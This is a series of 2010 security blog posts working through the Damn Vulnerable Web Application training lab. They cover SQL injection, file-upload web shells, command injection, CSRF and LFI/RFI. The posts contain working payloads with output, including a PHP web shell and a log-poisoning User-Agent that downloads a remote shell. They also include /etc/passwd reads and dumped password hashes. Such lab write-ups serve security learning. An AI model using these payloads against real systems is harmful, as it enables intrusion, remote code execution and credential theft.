SQL Injection DVWA Continued…

June 13, 2010 at 7:59 pm (PHP, Programming, Security, SQL, SQL Injection)

Hey,

So continuing on from the low level, let’s take a look at the medium level. Here is the code:

<?php
if (isset($_GET['Submit'])) {
// Retrieve data
$id = $_GET['id'];
$id = mysql_real_escape_string($id);
$getid="SELECT first_name, last_name FROM users WHERE user_id = $id";
$result=mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num=mysql_numrows($result);
$i=0;
while ($i < $num) {
$first=mysql_result($result,$i,"first_name");
$last=mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
}
?>

So as you can see it is exactly the same apart from the:

$id = mysql_real_escape_string($id);

The only thing that this prevents us from doing compared to the low level is, using quotes. So we can simply own the level in the same manner just removing the quotes we used, like so:

ID: 1 union all select user,password from dvwa.users--
First name: admin
Surname: admin
ID: 1 union all select user,password from dvwa.users--
First name: admin
Surname: bf03145925aadc81e733e788aaa58fe3
ID: 1 union all select user,password from dvwa.users--
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
ID: 1 union all select user,password from dvwa.users--
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: 1 union all select user,password from dvwa.users--
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: 1 union all select user,password from dvwa.users--
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

As you can see exactly the same way, the reason that we can’t use quotes is pretty self explanatory from looking at this page.

Let’s talk about the high level then, first let’s take a look at the code:

<?php
if(isset($_GET['Submit'])){
// Retrieve data
$id = $_GET['id'];
$id = stripslashes($id);
$id = mysql_real_escape_string($id);
if (is_numeric($id)){
$getid="SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result=mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num=mysql_numrows($result);
$i=0;
while ($i < $num) {
$first=mysql_result($result,$i,"first_name");
$last=mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
}
}
?>

This has a lot more sanitization and as far as I am aware it is not exploitable. The problem is the following bit of code:

// Retrieve data
$id = $_GET['id'];
$id = stripslashes($id);
$id = mysql_real_escape_string($id);
if (is_numeric($id)){
$getid="SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result=mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

I know I can bypass the mysql_real_escape_string($id) from the medium level. I am just not sure and have not found a way to successfully circumvent the stripslashes() and is_numeric() functions. If anyone has a way to circumvent this please let me know!

Permalink 7 Comments

SQL Injection DVWA

June 11, 2010 at 9:19 pm (PHP, Programming, Security, SQL, SQL Injection)

Hey,

So there are 3 SQL Injection levels on the Damn Vulnerable Web Application (Low, Medium and High). In this post I will explain how to defeat the low level, let’s take a look at the code first:

<?php

if(isset($_GET['Submit'])){

// Retrieve data

// ERROR: PHP Notice: Undefined index: id
$id=$_GET['id'];

$getid="SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result=mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

$num=mysql_numrows($result);

$i=0;

while ($i < $num) {

$first=mysql_result($result,$i,"first_name");
$last=mysql_result($result,$i,"last_name");

echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';

$i++;
}
}
?>

So the above code is vulnerable to SQL Injection, let’s take a closer look at the following snippet:

$id=$_GET['id'];
$getid="SELECT first_name, last_name FROM users WHERE user_id = '$id'";

As you can see there is no sanitization used, the variable is simply inserted straight into the SQL query. This is the most basic type of SQL Injection you may come across. Let’s confirm it is definatley vulnerable to SQL Injection:

UserID: '

The page returned spits out the following error message:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

This confirms to us it is vulnerable to SQL Injection, first thing to do is find out how many columns there are:

UserID: ' ORDER BY 1--
UserID: ' ORDER BY 2--

These simply return the same page…

UserID: ' ORDER BY 3--

Then this gives us an invaluable error message:

Unknown column '3' in 'order clause'

What does this tell us? Well it tells us that there are two columns, which are obviously the first_name and last_name columns as when you pass the UserID: form a valid User ID (1) for example you get this:

ID: 1
First name: admin
Surname: admin

Right, now its time to find out the database name, table name, column name and anything else useful and interesting. First thing first let’s find out the database version:

ID: ' union all select 1,@@VERSION--
First name: 1
Surname: 5.1.37-1ubuntu5.1

So it is using MySQL 5.1.37-1 on Ubuntu. Lets find the user the database is running as and the name of the database we are dealing with:

ID: ' union all select user(),database()--
First name: root@localhost
Surname: dvwa

Ok so the user is root (awesome!!) and the database we are concerned with is ‘dvwa’ 😉 Right OK, since the user is root let’s see what we can gleam:

ID: ' union all select user,password from mysql.user--
First name: root
Surname: *263027ECC84AA7B81EA86B0EBECAFE20BC8804FC
ID: ' union all select user,password from mysql.user--
First name: root
Surname: *263027ECC84AA7B81EA86B0EBECAFE20BC8804FC
ID: ' union all select user,password from mysql.user--
First name: root
Surname: *263027ECC84AA7B81EA86B0EBECAFE20BC8804FC
ID: ' union all select user,password from mysql.user--
First name: debian-sys-maint
Surname: *65BFD4D79D51FF884D573209BC7DE1D1A3D0AA4E

Wow! We got the root passord hash 🙂 So as you can see because the application is using the root user, we can pretty much own the whole system from here. However I will focus on the DVWA level 🙂 So, we know the database name is dvwa, and the columns are first_name and last_name. Let’s find out the table name:

ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: CHARACTER_SETS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: COLLATIONS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: COLLATION_CHARACTER_SET_APPLICABILITY
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: COLUMNS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: COLUMN_PRIVILEGES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: ENGINES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: EVENTS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: FILES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: GLOBAL_STATUS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: GLOBAL_VARIABLES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: KEY_COLUMN_USAGE
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: PARTITIONS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: PLUGINS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: PROCESSLIST
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: PROFILING
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: REFERENTIAL_CONSTRAINTS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: ROUTINES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: SCHEMATA
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: SCHEMA_PRIVILEGES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: SESSION_STATUS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: SESSION_VARIABLES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: STATISTICS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: TABLES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: TABLE_CONSTRAINTS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: TABLE_PRIVILEGES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: TRIGGERS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: USER_PRIVILEGES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: VIEWS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: guestbook
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: users
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: columns_priv
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: db
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: event
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: func
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: general_log
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: help_category
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: help_keyword
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: help_relation
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: help_topic
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: host
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: ndb_binlog_index
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: plugin
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: proc
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: procs_priv
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: servers
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: slow_log
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: tables_priv
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: time_zone
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: time_zone_leap_second
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: time_zone_name
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: time_zone_transition
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: time_zone_transition_type
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: user
Surname: ޭ��

Bingo, we got all the tables from information_schema.tables :-), so we can hazard a guess that the two tables in the ‘dvwa’ database are; users and guestbook. Before I move on an finish this level, I want to show you some other ways to grab databases, tables and columns:

ID: ' union select group_concat(schema_name),2 from information_schema.schemata--
First name: information_schema,dvwa,mysql
Surname: 2

Or:

ID: ' union all select schema_name,0xdeadbeef from information_schema.schemata--
First name: information_schema
Surname: ޭ��
ID: ' union all select schema_name,0xdeadbeef from information_schema.schemata--
First name: dvwa
Surname: ޭ��
ID: ' union all select schema_name,0xdeadbeef from information_schema.schemata--
First name: mysql
Surname: ޭ��

Also I might as well mention the other way to find the tables too:

ID: ' union all select table_name,0xdeadbeef from information_schema.tables where table_schema=database()--
First name: guestbook
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables where table_schema=database()--
First name: users
Surname: ޭ��

Right so back to it, recap; we know the database name is dvwa and we have two tables users and guestbook. Last crucial bit of information is the column names, lets grab them:

ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: comment_id
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: comment
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: name
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: user_id
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: first_name
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: last_name
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: user
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: password
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: avatar
Surname: ޭ��

Ok so we have everything we need now, lets get all the usernames and password hashes for this level:

ID: ' union all select user, password from dvwa.users--
First name: admin
Surname: bf03145925aadc81e733e788aaa58fe3
ID: ' union all select user, password from dvwa.users--
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
ID: ' union all select user, password from dvwa.users--
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: ' union all select user, password from dvwa.users--
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: ' union all select user, password from dvwa.users--
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

Jon done 🙂 Just to put this into perspective, if you goto Milw0rm, Click on the cracker link and you can sumbit your hash to see if its already been cracked, take the user ‘gordonb’ for example:

-::TYPE -::HASH -::PASS -::STATUS
md5 e99a18c428cb38d5f260853678922e03 abc123 cracked

My next post will explain how to beat it on Medium difficulty and then to talk about the High difficulty level. So until the next time…

Permalink 8 Comments

Abusing PHP Upload Scripts For Fun and Profit

June 11, 2010 at 6:47 am (PHP, Programming, Security, Upload)

Hey,

So looking at the upload level on Damn Vulnerable Web Application on low and medium settings, it is probably worth putting them into one post 🙂

Let’s take a look at the code for the upload level on the low setting:

<?php
if (isset($_POST['Upload'])) {

$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename( $_FILES['uploaded']['name']);

if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {

echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';

} else {

echo '<pre>';
echo $uploaded_name . ' succesfully uploaded!';
echo '</pre>';

}

}
?>

As you can see this script will allow us to pretty much upload any type of file we want. What would happen if we uploaded a file simply containing the following line of PHP code:

<?php passthru($_GET['cmd']); ?>

Well, it will upload to hackable/uploads to start with so if you point your browser to:

http://localhost/dvwa/hackable/uploads/pwnme.php?cmd=ls

BINGO! 🙂 Nice and simple that one was, yeah? Let’s take a look at the same level but on the medium setting:

<?php
if (isset($_POST['Upload'])) {

$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_type = $_FILES['uploaded']['type'];
$uploaded_size = $_FILES['uploaded']['size'];

if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){

if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {

echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';

} else {

echo '<pre>';
echo $uploaded_name . ' succesfully uploaded!';
echo '</pre>';

}
}
else{
echo '<pre>Your image was not uploaded.</pre>';
}
}
?>

Now this looks a little better, but is it? Notice the check:

if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){

This is the only part you have to circumvent, and you should instantly know how. Using a proxy you can rewrite the upload request to use “image/jpeg” as the upload_type. Let’s see exactly how to do this. First thing’s first, open up a proxy I used Burpsuite for this. Make the request to the page by uploading the neccessary file and making sure you have “intercept requests” turned on in Burp. Then watch out for the following request:

POST /dvwa/vulnerabilities/upload/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://localhost/dvwa/vulnerabilities/upload/
Cookie: security=medium; PHPSESSID=986e59f304b93ce9287b9cbc84df6a1d
Content-Type: multipart/form-data; boundary=---------------------------68053526712024471042060696500
Content-Length: 512

-----------------------------68053526712024471042060696500
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
-----------------------------68053526712024471042060696500
Content-Disposition: form-data; name="uploaded"; filename="pwnme.php"
Content-Type: application/x-httpd-php

-----------------------------68053526712024471042060696500
Content-Disposition: form-data; name="Upload"

Upload
-----------------------------68053526712024471042060696500--

the line we are interested in is:

Content-Type: application/x-httpd-php

If we change that to read:

Content-Type: image/jpeg

Then click “forward” on Burpsuite, it will send the request off to the site, the site will then respond with:


pwnme.php succesfully uploaded!

And that was all there was to it for the Upload levels.. pretty simple, huh? 🙂

Permalink Leave a Comment

Command Execution Part 2…

June 11, 2010 at 6:21 am (Command Execution, PHP, Security)

Hey guys,

So I finally got around to playing with the Damn Vulnerable Web Application on Medium level. The command execution level really only added a filter for two characters as a “more secure” version to the level on low setting. Lets take a look at the code:

<?php

if( isset( $_POST[ ‘submit’] ) ) {

$target = $_REQUEST[ ‘ip’ ];

// Remove any of the charactars in the array (blacklist).
$substitutions = array(
‘&&’ => ”,
‘;’ => ”,
);

$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if (stristr(php_uname(‘s’), ‘Windows NT’)) {

$cmd = shell_exec( ‘ping ‘ . $target );
echo ‘<pre>’.$cmd.'</pre>’;

} else {

$cmd = shell_exec( ‘ping -c 3 ‘ . $target );
echo ‘<pre>’.$cmd.'</pre>’;

}
}

?>

As you can see, they have added a character filter which filters out the following characters: ‘;’ and ‘&&’, the code that does this is here:

$substitutions = array(
'&&' => '',
';' => '',
);

Well what about the other plethora of bash commands ay? Such as.. well you guessed it the famous pipe operator: ‘|’. Lets see what happens when we try using it:

I entered: “127.0.0.1 | ls -l”, however you could just do: “| ls -l”, and I got returned:

total 12
drwxr-xr-x 2 www-data www-data 4096 Feb 17 15:17 help
-rw-r--r-- 1 www-data www-data 1509 Feb 17 15:17 index.php
-rw-r--r-- 1 www-data www-data 0 Jun 9 08:37 ls
drwxr-xr-x 2 www-data www-data 4096 Feb 17 15:17 source

Viola!

Permalink Leave a Comment

Cross Site Request Forgery

June 3, 2010 at 11:24 pm (CSRF, PHP, Security)

Hey,

So I just had a play with the Cross Site Request Forgery level in Damn Vulnerable Web App. Very simple attack. You basically craft a URL that you can send to your victim that when he or she clicks will inherit the identity of the victim authenticated with the site and perform the malicious actions provided by the crafted URL. So with out further a do, lets take a look at the code:

<?php

if (isset($_GET['Change'])) {

// Turn requests into variables
$pass_new = $_GET['password_new'];
$pass_conf = $_GET['password_conf'];

if (($pass_new == $pass_conf)){
$pass_new = mysql_real_escape_string($pass_new);
$pass_new = md5($pass_new);

$insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';";
$result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );

echo "<pre> Password Changed </pre>";
mysql_close();
}

else{
echo "<pre> Passwords did not match. </pre>";
}

}
?>

If you can somehow bypass the mysql_real_escape_string() (which I know is possible) and the md5() (I am not sure if there is a way around this, as it turns the string to an MD5 hash), then you have a simple SQL Injection lurking underneath. If anyone has been able to perform an SQL Injection on the above code please let me know. Anyway back to the CSRF. Looking at the code and by using Burpsuite to intercept the HTTP requests we can see that the password is passed over in the URL, lets take a look at the HTTP Request:

GET /dvwa/vulnerabilities/csrf/?password_new=mynewpasswd&password_conf=mynewpasswd&Change=Change HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Proxy-Connection: keep-alive

Referer: http://localhost/dvwa/vulnerabilities/csrf/?password_new=%21a2e0n23&password_conf=%21a2e0n23&Change=Change

Cookie: security=low; PHPSESSID=986e59f304b93ce9287b9cbc84df6a1d

The bit we are interested in is:

GET /dvwa/vulnerabilities/csrf/?password_new=mynewpasswd&password_conf=mynewpasswd&Change=Change HTTP/1.1

Now this is interesting, we can construct a URL like the above, and hide it in some HTML craft an email and send it to the unsuspecting admin. When the admin opens the email, and clicks the link it will change his password. You can hide it better in image links too which we will see in a minute. The idea is to basically craft the URL that enables you to perform a function on the vulnerable website, whether that is change a password, post a comment, log the user out, whatever it is you mask the actual HTTP request in some ordinary looking code and send it to the victim in an email, IM, or a link on the attackers website.. it can be anything, you imagination is your limit 🙂

I made two simple links that did the job nicely:

<a href="http://localhost/dvwa/vulnerabilities/csrf/?password_new=abcd&password_conf=abcd&Change=Change">Click Here</a>
<img src="http://localhost/dvwa/vulnerabilities/csrf/?password_new=abcd&password_conf=abcd&Change=Change" width="1" height="1" border="0">

A nice way to visualize this attack in the wild would be to think of for example Facebook, it has in the past had its CSRF vulnerabilities I am sure. Imagine you found a CSRF vulnerability in Facebook, that allowed you to craft a URL to post comments.. So when a user post a comment on Facebook, it generates it and sends it in the URL. Well you the attacker could craft a URL that posted a malicious comment, send this across the site to the victim using the private messaging system, hidden in an obscured link. The victim would click the link and it would post the malicious comment you crafted.

These attacks can be used for all kinds of nasty things.

Permalink Leave a Comment

Command Execution Part 1

June 3, 2010 at 6:00 pm (Command Execution, PHP, Programming, Security)

Hey,

So the next part of the Damn Vulnerable Web Application is entitled “Command Execution”, which is a very very simple and contrived example, lets take a look at the source code behind it:

<?php

if( isset( $_POST[ 'submit' ] ) ) {

$target = $_REQUEST[ 'ip' ];

// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {

$cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.$cmd.'</pre>';

} else {

$cmd = shell_exec( 'ping -c 3 ' . $target );
echo '<pre>'.$cmd.'</pre>';

}

}
?>

So as you can see clear as day there is no sanitization used on the user defined $target variable, so the trick here is very simple:

127.0.0.1; ls -lart; uname -ar; whoami; who;

Will return:

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.080 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.241 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.241 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2011ms
rtt min/avg/max/mdev = 0.080/0.187/0.241/0.076 ms
total 20
drwxr-xr-x 2 www-data www-data 4096 Feb 17 15:17 source
-rw-r--r-- 1 www-data www-data 1509 Feb 17 15:17 index.php
drwxr-xr-x 2 www-data www-data 4096 Feb 17 15:17 help
drwxr-xr-x 10 www-data www-data 4096 Feb 17 15:17 ..
drwxr-xr-x 4 www-data www-data 4096 Jun 3 13:38 .
Linux dojo-vm 2.6.31-19-generic #56-Ubuntu SMP Thu Jan 28 01:26:53 UTC 2010 i686 GNU/Linux
www-data
dojo tty7 Jun 2 14:51 (:0)
dojo pts/0 Jun 2 15:50 (:0.0)
dojo pts/1 Jun 2 18:36 (:0.0)

Well that one was easy, wasn’t it? 🙂

Also note that you can use && to concatenate commands on the command line as well as ;.

Permalink Leave a Comment

SQL Injection Fun…

June 3, 2010 at 2:07 pm (PHP, Programming, Security, SQL, SQL Injection)

Hey guys,

So I have been playing around with the, Damn Vulnerable Web Application. Which you can find here, however I decided to use the Web Security Dojo v1.0 live cd from here. The first level was an SQL Injection or Web Form Brute force. I decided to play around with the SQL Injection. So, lets take a look at the PHP source code behind the page:

<?php

if( isset( $_GET['Login'] ) ) {

$user = $_GET['username'];

$pass = $_GET['password'];
$pass = md5($pass);

$qry = "SELECT * FROM `users` WHERE user='$user' AND password='$pass';";
$result = mysql_query( $qry ) or die( '<pre>' . mysql_error() . '</pre>' );

if( $result && mysql_num_rows( $result ) == 1 ) {
// Get users details
$i=0; // Bug fix.
$avatar = mysql_result( $result, $i, "avatar" );

// Login Successful
echo "<p>Welcome to the password protected area " . $user . "</p>";
echo '<img src="' . $avatar . '" />';
} else {
//Login failed
echo "<pre><br>Username and/or password incorrect.</pre>";
}

mysql_close();
}

?>

As you can see there is no sanitization used on the username or password variable. However the md5( $passwd ) does make it rather interesting injecting into that variable, I have yet to find out a way to take control of the password field because of this. So I decided to play with the username variable. Let’s take a closer look at how the query is constructed:

$qry = "SELECT * FROM `users` WHERE user='$user' AND password='$pass';";

So as you can see the $user variable is passed straight to the query without any sanitization (e.g. stripslashes(), mysql_real_escape_string()). So we can inject SQL statements into the username field on the web page. So the first thing I try is:

username: '
password: '

A single quote, which gives us the following error:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '3590cb8af0bbb9e78c343b52b93773c9'' at line 1

Beautiful, we have confirmed it – it is vulnerable to SQL Injections, ok so the interesting part..

if( $result && mysql_num_rows( $result ) == 1 ) {

Basically tells us that we need to supply a query that returns one row only, if it returns one row then the avatar will be displayed along with the “restricted area”.

Let’s try a couple of SQL statements like the following:

username: admin' --
username: ' OR user='admin' --
username: ' OR 1=1 limit 0,1 --

Or perhaps like this:

username: a' or user LIKE 'a%' limit 0,1--
password: a

Let’s look at each of these individually, admin’ — basically completes the sql query by passing the user ‘admin’ and then commenting the rest of the SQL statement out using ” — “. So when this is passed to the database, the actually query is:

$qry = "SELECT * FROM `users` WHERE user='admin' -- AND password='$pass';";

Which gets interpreted as:

SELECT * FROM `users` WHERE user='admin' --;

The same happens with: ‘ OR user=’admin’ — it’s just a longer logical query that looks like:

SELECT * FROM `users` WHERE user='' OR user='admin' --;

Also with: ‘ OR 1=1 limit 0,1 — is the same, its logical, but says 1=1 which is true, which would display the whole table however that would result in the bottom part of the if loop being executed, which gives us incorrect username or password. So we use the limit clause, to limit it to one row: limit 0,1. This then gets passed to the database looking like:

SELECT * FROM `users` WHERE user='' OR 1=1 limit 0,1 --;

The possibilities here are endless, however we got the result we wanted. It displayed the avatar for the user and allowed us into the restricted admin area. Another thought I had when playing with this was to write a script that brute forced the usernames in the SQLi statement to get access to all user accounts. It would be a pretty simply task in any scripting language, here is what I would do:

http://localhost/dvwa/vulnerabilities/brute/?username=admin%27+--%20&password=&Login=Login#

That is the URL, I would compose a list of usernames into users.txt. Then using Python, perl whatever your familiar with, open users.txt then read in the first username to $user and make a GET request to:

http://localhost/dvwa/vulnerabilities/brute/?username=$user%27+--%20&password=&Login=Login#

If the user is correct, you will get the avatar and restricted area access otherwise the string:

"Username and/or password incorrect."

will be displayed which you can check for in your code. Nice and simple, you can even get rid of the SQL statment and add a password.txt file load up a passsword when you load the user and just brute force the login page..

Anyway, onto the next fun level.

Permalink 5 Comments

Insecure PHP Functions And Their Exploits…

May 27, 2010 at 9:14 pm (LFI / RFI, PHP, Programming, Security)

Hey all,

I am going to list various PHP functions and their misuses along with ways to manipulate them:

require($filename);
http://localhost/?filename=/etc/passwd

require("stuff/".$filename);
http://localhost/?filename=/../../../../../etc/passwd

require("stuff/".$filename.".php");
http://localhost/?filename=/../../../../../etc/passwd%00

require("stuff/".$_COOKIE['something'].".php");
javascript:document.cookie = "something=../../../../../etc/passwd%00";

A neat little trick to allow you to upload stuff using these LFI / RFI vulnerabilities, is to poison the log files (access_log / error_log). I figured, the easiest way to do this was to load the live HTTP headers Firefox plug in. Load the LFI page in your browser, capture the request, and change the User-Agent string to some PHP code of your choice. You can then browse to the log file using the LFI or RFI vulnerability, then when the page loads it will execute your PHP code. Look at these headers for instance:

Host: localhost
User-Agent: <?php system('GET http://www.example.com/phpshell/shell.txt > shell.php'); ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive

If you replay this using live HTTP headers it will poison the log file with:

127.0.0.1 - - [27/May/2010:21:30:17 +0100]
"GET /testing/vuln.php?COLOR=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 855 "-" "<?php system('GET.php'); ?>"

Then when you view the log file using the LFI / RFI it will execute the above PHP code. You can then browse to the PHP shell (shell.php) that will be located in the same directory as the LFI / RFI page 🙂

So, say we placed the following code into shell.php:

<? passthru($_GET[pwn]) ?>

Now we have that piece of code on our victim which we can navigate to through the following URL:

http://localhost/shell.php

To take advantage of this simple PHP shell, alls we have to do is:

http://localhost/shell.php%00&pwn=cat%20/etc/passwd%00
http://localhost/shell.php%00&pwn=uname%20-a
http://localhost/shell.php%00&pwn=who
http://localhost/shell.php%00&pwn=ps%20afuuwx

Then the command output will be displayed on the page 🙂

A quick note:

%00 is a NULL
%20 is a SPACE

Until the next time…

Permalink 3 Comments

Playing around with Local and Remote file inclusions…

May 27, 2010 at 10:54 am (LFI / RFI, PHP, Programming, Security)

Hey all,

So with my recent research into web application security I have been playing around with local and remote file inclusions on my local web server 😉 A couple of things to note so that when you perform an LFI or RFI it actually works.

1) Make sure magic quotes is off, so your able to include said files:

; Magic quotes for incoming GET/POST/Cookie data.
magic_quotes_gpc = Off

Otherwise you will get an error similar to this when trying to include files:

